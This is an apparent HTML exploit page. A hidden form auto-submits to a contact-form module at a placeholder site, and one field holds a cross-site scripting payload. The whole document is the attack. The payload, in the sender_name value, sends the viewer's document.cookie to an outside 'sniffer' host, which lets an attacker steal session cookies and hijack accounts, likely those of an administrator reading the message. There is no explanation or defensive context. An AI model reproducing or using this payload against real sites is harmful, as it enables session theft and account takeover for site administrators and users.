<form method="post" action="http://www.site.com/index.php?name=Contact" name="sploit"> <input type="hidden" name="ipreg" value="127.0.0.1">
<input type="hidden" name="ipreg4" value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"> <input type="hidden" name="admin_mail" value="test@test.ru"> <input type="hidden" name="sender_name" value='"><img src=javascript:window.navigate("http://sniffer host.ru/sniffer.gif?"+document.cookie);><br "'> <input type="hidden" name="sender_email> <input type="hidden" name="message"> <input type="hidden" name="opi" value="ds"> <script> sploit.submit(); </script> </form>